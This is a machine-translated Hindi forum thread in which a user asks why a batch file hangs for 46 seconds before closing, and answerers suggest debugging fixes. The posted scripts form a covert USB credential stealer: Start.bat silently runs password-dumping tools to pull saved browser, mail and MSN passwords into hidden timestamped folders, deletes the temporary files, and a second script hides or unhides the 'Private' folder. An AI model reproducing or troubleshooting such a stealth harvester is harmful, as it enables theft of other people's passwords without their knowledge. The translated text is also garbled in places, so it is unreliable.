एक मजबूर छोड़ने से पहले 46 सेकंड के लिए मेरी बैच फ़ाइल कुछ भी क्यों नहीं कर रही है?


0

मुझे पता चला है कि कोड का कौन सा भाग ऐसा कर रहा है, लेकिन यह नहीं पता कि इसे कैसे ठीक किया जाए ... यहाँ कोड है:

Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
) 

बैच वह करता है जो इसे ठीक दूसरे पर करने के लिए होता है जिसे निष्पादित किया जाता है लेकिन cmd विंडो 46 सेकंड के लिए खुली रहती है और फिर क्विट हो जाती है (क्योंकि मैं टास्ककिल / IM cmd.exe चला गया)।

कृपया सहायता कीजिए!

अनुलेख यदि आप चाहते हैं कि मैं सभी कोड (जो बहुत है) पोस्ट करूं तो मैं करूंगा। मुझे इसे समझाने में समस्या हो सकती है लेकिन मैं अपनी तरफ से पूरी कोशिश करूंगा।

सभी कोड इस प्रकार है:

  1. मैं Pre-Unhide.bat शुरू करता हूं (यहां कोई समस्या नहीं)

    @echo off
    
    cd /d %~d0\ 
    cd SwIPer
    start /min Start.bat
    
    cd..
    
    call Unhide.bat
    
  2. Start.bat यह है:

    @echo off
    
    for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO (
    set CUR_DAY_OF_WEEK=%%i
    set CUR_MONTH=%%j
    set CUR_DAY=%%k
    set CUR_YEAR=%%l)
    
    for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO (
    set CUR_HOUR=%%i
    set CUR_MIN=%%j
    set AM_PM=%%k)
    
    cd /d %~d0\ 
    cd %~d0\SwIPer
    md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    
    start /min iepv /stext IExplorer.txt
    start /min mailpv /stext Mail.txt
    start /min mspass /stext MSN.txt
    start /min WebBrowserPassView /stext AllBrowsers.txt
    echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%"
    del IExplorer.txt
    del Mail.txt
    del MSN.txt
    del AllBrowsers.txt
    
  3. फिर Pre-Unhide.bat आगे बढ़ता है और Unhide.bat को कॉल करता है

    @echo off
    
    Set _Path=Private
    For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
    If "%_Attribs:~4,1%"=="H" (
    Attrib -S -H "%_Path%"
    Attrib /D /S -S -H "%_Path%"\*.*
    ) Else (
    Attrib +S +H "%_Path%"
    Attrib /D /S +S +H "%_Path%"\*.*
    )
    

(फिर इसे इसलिए जोड़ा क्योंकि मैं चाहता हूं कि इसे छोड़ने के लिए मजबूर किया जाए लेकिन अभी भी इसे छोड़ने के लिए 46 सेकंड इंतजार करना पड़ रहा है)

    taskkill /IM cmd.exe

मदद बहुत सराहना की है :) धन्यवाद।


पहली बात, शुरु अवरुद्ध नहीं है। दूसरे शब्दों में, यह जारी रखने से पहले इसे खत्म करने के लिए इंतजार नहीं करता है। इसलिए Start.bat अभी भी चल रहा है, प्रसंस्करण, जब हो सकता है Unhide.bat शुरू होता है। दूसरी बात, अगर आपकी बैच फाइलें इस ड्राइव पर हैं, तो उपयोग करें %~d0 ड्राइव की ड्राइव अक्षर पाने के लिए बैच फ़ाइल चालू है .. उस सूची की नहीं if एस, जो वास्तव में यदि संभव हो तो बचा जाना चाहिए। मैंने देखा है कि हटाने योग्य ड्राइव को सौंपा गया है D:, आंतरिक हार्ड ड्राइव को सौंपा E:, आदि यह मान लेना सुरक्षित नहीं है कि आप शुरू करने से पहले आते हैं E: वही हटाने योग्य ड्राइव होगा।
Bob

@ याकूब तो मैं% ~ d0 कमांड कैसे सेट करूंगा? कृपया लिखें कि इसे कहां रखा जाए और इसे कैसे सेट किया जाए। धन्यवाद
Daniel

यह एक कमांड नहीं है, यह एक विशेष वेरिएबल है जिसमें ड्राइव बैच फ़ाइल है, फॉर्म में है <letter>:, उदा। E:। वास्तव में, cd E:\ गलत है, यह होना चाहिए cd \d E:\ चूंकि आप ड्राइव बदल रहे हैं। उस विशेष चर के साथ, यह होगा cd /d %~d0\ , कि पूरी सूची की जगह if रों।
Bob

@ याकूब ठीक है, मैंने तय किया है कि धन्यवाद, बहुत अधिक साफ दिखता है! यह अभी भी उसी समय की प्रतीक्षा कर रहा है। मुझे नहीं लगता कि यह शुरू हो रहा है। लेकिन इसे पकड़े हुए है क्योंकि इसे केवल 1 सेकंड लगता है अपने चक्र को पूरा करने के लिए और फिर वहाँ कुछ भी नहीं छोड़ता है तो मुझे नहीं लगता ... शायद इसका तरीका मैंने इसे बुलाया है?
Daniel

@ याकूब मैं अभी YouTube पर एक वीडियो अपलोड कर रहा हूं जो आपको दिखा रहा है कि यह क्या कर रहा है या क्या नहीं कर रहा है। कृपया इसे देखें (उम्मीद है कि बहुत कम नहीं है क्योंकि मैंने मेमोरी को बचाने के लिए सामान्य से अधिक खराब कोडेक का उपयोग किया था) वीडियो है youtu.be/Wr5NjohUcas
Daniel

जवाबों:


0

अपना कोड टिप्पणी करके प्रारंभ करें। यह समझना आसान बनाता है कि आप क्या हासिल करने की कोशिश कर रहे हैं। यदि आवश्यक हो, तो अपने कोड में प्रत्येक चरण पर डिबगिंग के लिए पॉज कमांड का उपयोग करें।

निम्नलिखित को आज़माएँ: प्री-अनहाइड.बैट में अपने "स्टार्ट / मिनि स्टार्ट.बैट" में / वेट स्विच जोड़ें - इसलिए "स्टार्ट / मिन / वेट स्टार्ट.बैट"। यह unhide.bat कॉल करने से पहले शुरू से खत्म होने के लिए प्रीहुनाइड प्रतीक्षा करेगा। प्रारंभ और अन्य CMD कमांड के बारे में अधिक जानकारी के लिए यह लिंक देखें :: http://ss64.com/nt/

Start.bat के लिए कोड की अंतिम पंक्ति के रूप में बाहर निकलें जोड़ें। यह start.bat को बंद कर देगा इसलिए प्रीहाइडाइड unhide.bat कह सकता है। आप इसे अनहाइड के लिए अंतिम पंक्ति के रूप में भी जोड़ सकते हैं।

यह भी सुझाव है कि आप XCOPY के बजाय ROBOCOPY का उपयोग करें।

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.